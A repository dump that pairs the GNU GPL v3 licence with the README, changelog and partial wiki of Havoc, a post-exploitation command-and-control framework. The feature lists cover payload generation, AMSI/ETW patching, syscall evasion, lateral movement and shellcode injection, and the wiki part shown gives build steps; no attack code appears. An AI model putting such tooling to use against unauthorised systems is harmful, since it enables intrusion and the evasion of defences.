software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information.  But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).

  The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed.  Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.

  Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.

  7. Additional Terms.

  "Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law.  If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.

  When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it.  (Additional permissions may be written to require their own
removal in certain cases when you modify the work.)  You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.

  Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:

    a) Disclaiming warranty or limiting liability differently from the
    terms of sections 15 and 16 of this License; or

    b) Requiring preservation of specified reasonable legal notices or
    author attributions in that material or in the Appropriate Legal
    Notices displayed by works containing it; or

    c) Prohibiting misrepresentation of the origin of that material, or
    requiring that modified versions of such material be marked in
    reasonable ways as different from the original version; or

    d) Limiting the use for publicity purposes of names of licensors or
    authors of the material; or

    e) Declining to grant rights under trademark law for use of some
    trade names, trademarks, or service marks; or

    f) Requiring indemnification of licensors and authors of that
    material by anyone who conveys the material (or modified versions of
    it) with contractual assumptions of liability to the recipient, for
    any liability that these contractual assumptions directly impose on
    those licensors and authors.

  All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10.  If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term.  If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.

  If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.

  Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.

  8. Termination.

  You may not propagate or modify a covered work except as expressly
provided under this License.  Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).

  However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.

  Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.

  Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License.  If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.

  9. Acceptance Not Required for Having Copies.

  You are not required to accept this License in order to receive or
run a copy of the Program.  Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance.  However,
nothing other than this License grants you permission to propagate or
modify any covered work.  These actions infringe copyright if you do
not accept this License.  Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.

  10. Automatic Licensing of Downstream Recipients.

  Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License.  You are not responsible
for enforcing compliance by third parties with this License.

  An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations.  If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.

  You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License.  For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.

  11. Patents.

  A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based.  The
work thus licensed is called the contributor's "contributor version".

  A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version.  For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.

  Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.

  In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement).  To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.

  If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients.  "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.

  If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.

  A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License.  You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.

  Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.

  12. No Surrender of Others' Freedom.

  If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all.  For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.

  13. Use with the GNU Affero General Public License.

  Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work.  The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.

  14. Revised Versions of this License.

  The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

  Each version is given a distinguishing version number.  If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation.  If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.

  If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.

  Later license versions may give you additional or different
permissions.  However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.

  15. Disclaimer of Warranty.

  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. Limitation of Liability.

  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.

  17. Interpretation of Sections 15 and 16.

  If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

                     END OF TERMS AND CONDITIONS

            How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <https://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper mail.

  If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

    <program>  Copyright (C) <year>  <name of author>
    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".

  You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.

  The GNU General Public License does not permit incorporating your program
into proprietary programs.  If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.  But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.


================================================
FILE: README.md
================================================
<div align="center">
  <img width="125px" src="assets/Havoc.png" />
  <h1>Havoc</h1>
  <br/>

  <p><i>Havoc is a modern and malleable post-exploitation command and control framework, created by <a href="https://twitter.com/C5pider">@C5pider</a>.</i></p>
  <br />

  <img src="assets/Screenshots/FullSessionGraph.jpeg" width="90%" /><br />
  <img src="assets/Screenshots/MultiUserAgentControl.png" width="90%" /><br />
  
</div>

### Quick Start

> Please see the [Wiki](https://github.com/HavocFramework/Havoc/wiki) for complete documentation.

Havoc works well on Debian 10/11, Ubuntu 20.04/22.04 and Kali Linux. It's recommended to use the latest versions possible to avoid issues. You'll need a modern version of Qt and Python 3.10.x to avoid build issues.

See the [Installation](https://havocframework.com/docs/installation) docs for instructions. If you run into issues, check the [Known Issues](https://github.com/HavocFramework/Havoc/wiki#known-issues) page as well as the open/closed [Issues](https://github.com/HavocFramework/Havoc/issues) list.

---

### Features

#### Client

> Cross-platform UI written in C++ and Qt

- Modern, dark theme based on [Dracula](https://draculatheme.com/)


#### Teamserver

> Written in Golang

- Multiplayer
- Payload generation (exe/shellcode/dll)
- HTTP/HTTPS listeners
- Customizable C2 profiles 
- External C2

#### Demon

> Havoc's flagship agent written in C and ASM

- Sleep Obfuscation via [Ekko](https://github.com/Cracked5pider/Ekko), Ziliean or [FOLIAGE](https://github.com/SecIdiot/FOLIAGE)
- x64 return address spoofing
- Indirect Syscalls for Nt* APIs
- SMB support
- Token vault
- Variety of built-in post-exploitation commands
- Patching Amsi/Etw via Hardware breakpoints
- Proxy library loading
- Stack duplication during sleep. 

<div align="center">
  <img src="assets/Screenshots/SessionConsoleHelp.png" width="90%" /><br />
</div>

#### Extensibility

- [External C2](https://github.com/HavocFramework/Havoc/wiki#external-c2)
- Custom Agent Support
  - [Talon](https://github.com/HavocFramework/Talon)
- [Python API](https://github.com/HavocFramework/havoc-py)
- [Modules](https://github.com/HavocFramework/Modules)

---

### Community

You can join the official [Havoc Discord](https://discord.gg/z3PF3NRDE5) to chat with the community! 

### Note

Please do not open any issues regarding detection. 

The Havoc Framework hasn't been developed to be evasive. Rather it has been designed to be as malleable & modular as possible. Giving the operator the capability to add custom features or modules that evades their targets detection system. 


================================================
FILE: RELEASE.md
================================================
Because Havoc does not currently publish "releases" on GitHub, this document serves as a historical record of all major revision changes. This information was gathered from the Discord channel and is not all-inclusive of every change made.

# Change History

## Version `0.2` | `Magician's Red`

- added command 'shellcode execute' for self injection / execute shellcode in the current process
- UI/UX Fixes (removed placeholders of Process list)
- UI fix: you couldn't reopen process list / file explorer after closing them. Now you can. 
- added support for long running jobs / commands / modules. 
- fix some things in wiki.

Commit: https://github.com/HavocFramework/Havoc/commit/31db84b432d57d7f5d234791455b18260f00cd40

## Version `0.3` | `Hermit Purple`

- added new session icons
- added lateral movement command 'jump-exec psexec' 
- added lateral movement command 'jump-exec scshell' 
- added service executable payload
- added new python api demon.ProcessCreate 

Commit: https://github.com/HavocFramework/Havoc/commit/db8c75f2510096d848999889f03263013eab3120 

## Version `0.4` | `Silver Chariot`

- Chunked downloading of files
- Threaded inline assembly execution (while sleep obf is still usable)
- reverse port forwarding
- webhooks for discord
- smb agent fixes
- bug fixes

Commit: https://github.com/HavocFramework/Havoc/commit/d98f8b692b9c0fe79b6d153b6f34167589082789 

### Version `0.4.1` | `The Fool`

- Socks4a Proxy 
- bug fixes
- vuln fix in the service api (found by hyperreality)

Commit: https://github.com/HavocFramework/Havoc/commit/133f6ead8085147dc39beb368c41aead2873927e

### Version `0.5` | `Emporer`

- upgraded socks4a to socks5
- improved support for redirectors
- 'Health' tab
- add working hours
- refactored BOF loader
- add several default BOFs
- add kill date
- add sleep jitter
- add kerberos native support
- add incognito 'find-tokens'
- add DLL reflective loader (Kayn)
- refactor TS logs

Commits/PR: https://github.com/HavocFramework/Havoc/pull/310

### Version `0.6` | `Hierophant Green`

- refactored/rewritten indirect syscalls (no more RX/RWX stubs)
- proxy library loading
- random order module & function resolving.
- x86 demon implants.
- cross process arch injection
- AMSI/ETW patching using Hardware breakpoints
- overall agent refactoring and bug fixes

Push: https://github.com/HavocFramework/Havoc/pull/371


================================================
FILE: WIKI.MD
================================================
# Havoc

Havoc is a modern and malleable post-exploitation command and control framework.

#### Table of Contents
- [Havoc](#havoc)
      - [Table of Contents](#table-of-contents)
  - [ Version History](#-version-history)
    - [0.2 / Magicians Red](#02--magicians-red)
  - [Known Issues](#known-issues)
    - [Kali Linux Font/Formatting Issues](#kali-linux-fontformatting-issues)
    - [Build Errors](#build-errors)
      - [`fatal error: Python.h: No such file or directory`](#fatal-error-pythonh-no-such-file-or-directory)
      - [`incomplete type ‘QTime’ used in nested name specifier`](#incomplete-type-qtime-used-in-nested-name-specifier)
      - [`Known compiler issue: [-] Couldn't compile implant: exit status 1`](#known-compiler-issue---couldnt-compile-implant-exit-status-1)
  - [Installation](#installation)
    - [ Local](#-local)
      - [Pre-requisites](#pre-requisites)
      - [Ubuntu 20.04 / 22.04](#ubuntu-2004--2204)
      - [Debian 10/11](#debian-1011)
      - [MacOS](#macos)
    - [Building the Client](#building-the-client)
    - [Building the Teamserver](#building-the-teamserver)
    - [ Docker](#-docker)
    - [ Jenkins Docker Build](#-jenkins-docker-build)
    - [ Creating a Listener, and Spawning an Agent](#-creating-a-listener-and-spawning-an-agent)
  - [Teamserver](#teamserver)
    - [ Starting the Teamserver](#-starting-the-teamserver)
    - [Arguments](#arguments)
      - [Enabling DEBUG Output](#enabling-debug-output)
    - [Profiles](#profiles)
      - [Teamserver](#teamserver-1)
      - [Operators](#operators)
      - [Demon](#demon)
      - [Listeners](#listeners)
  - [Client](#client)
    - [Starting the Client](#starting-the-client)
    - [Connecting to the Teamserver](#connecting-to-the-teamserver)
  - [Agents](#agents)
    - [Demon](#demon-1)
      - [Generating a Demon Payload](#generating-a-demon-payload)
      - [Layout](#layout)
      - [ Features](#-features)
        - [Indirect Syscalls](#indirect-syscalls)
      - [Commands](#commands)
        - [`checkin`](#checkin)
        - [`sleep`](#sleep)
        - [`job`](#job)
        - [`proc`](#proc)
        - [`token`](#token)
        - [`shellcode`](#shellcode)
        - [`dotnet`](#dotnet)
  - [ExternalC2](#externalc2)
  - [Custom Agents](#custom-agents)
  - [Python API](#python-api)
  - [Modules](#modules)
  - [FAQ](#faq)
    - [Why does Havoc not perform sleep obfuscation when jobs are running?](#why-does-havoc-not-perform-sleep-obfuscation-when-jobs-are-running)
--------------------

## <a name="vhistory"></a> Version History

### 0.2 / Magicians Red
> Magician's Red (Majishanzu Reddo) is the Stand of Muhammad Avdol, featured in Stardust Crusaders.
- Second public 'release' of Havoc.

`0.1 / Star Platinum`
> Named after the Stand of [Jotaro Kujo](https://jojo.fandom.com/wiki/Star_Platinum) in JoJo's Bizzare Adventure, Star Platinum was among the very first Stands introduced.

- The first, public release of Havoc.

---

## <a name="kissues"></a>Known Issues

> See the Issues tab for all open issues. 

### Kali Linux Font/Formatting Issues

Kali has issues loading the proper font (Monaco) from the embedeed Qt resources file.

_You will experience formatting issues in the Havoc client if you are not using a monospace/fixed-width font!_

### Build Errors 

#### `fatal error: Python.h: No such file or directory`

If you get an error that `Python.h` isn't found when building, you need to make sure Python 3.10 is installed and you have the Python 3.10 development files. If you are using Ubuntu LTS you may need to leverage a PPA such as `deadsnakes` to get a newer version of Python.

```
sudo apt install build-essential
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install python3.10 python3.10-dev
```

#### `incomplete type ‘QTime’ used in nested name specifier`

You probably need a newer version of Qt. If you are using Ubuntu try adding a backports ppa and installing the latest qt6 dev packages.
Please see https://github.com/HavocFramework/Havoc/issues/95.

#### `Known compiler issue: [-] Couldn't compile implant: exit status 1`

Please see https://github.com/HavocFramework/Havoc/issues/105.

---

## <a name="install"></a>Installation

### <a name="il"></a> Local

#### Pre-requisites
> The immediate following is for Debian based Distros only.
```
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm
```


#### Ubuntu 20.04 / 22.04

